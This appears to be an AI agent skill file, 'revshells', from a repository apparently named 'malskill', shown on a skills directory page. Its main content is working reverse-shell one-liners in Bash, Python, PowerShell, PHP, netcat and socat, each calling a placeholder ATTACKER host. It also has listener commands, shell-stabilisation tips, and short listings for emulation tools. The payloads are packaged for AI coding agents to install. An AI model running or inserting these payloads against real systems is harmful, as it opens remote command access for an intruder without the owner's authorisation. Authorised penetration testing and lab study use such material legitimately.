offensive-tools/shells/revshells/SKILL.md
Auth/lab ref: callback-shell lab one-liner generator (web UI and CLI) supporting 50+ shells.
npx skillsauth add aeondave/malskill revshellsInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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Reverse shell one-liner generator — 50+ shells, encoded variants, web UI at revshells.com.
# Web UI: https://revshells.com
# Enter: IP, Port, Shell type → Copy one-liner
# Bash
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# PHP
php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
# Netcat (depends on -e support)
nc -e /bin/sh ATTACKER PORT
# Socat
socat tcp:ATTACKER:PORT exec:'/bin/bash',pty,stderr,setsid,sigint,sane
# Start listener before payload execution
nc -lvnp PORT
# or
ncat -lvnp PORT
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → export TERM=xterm
-e exists; keep fallback payloads ready.| File | When to load |
|------|--------------|
| references/listeners-and-pty-upgrades.md | Listener setup, payload selection matrix, PTY stabilization and encoding strategy |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.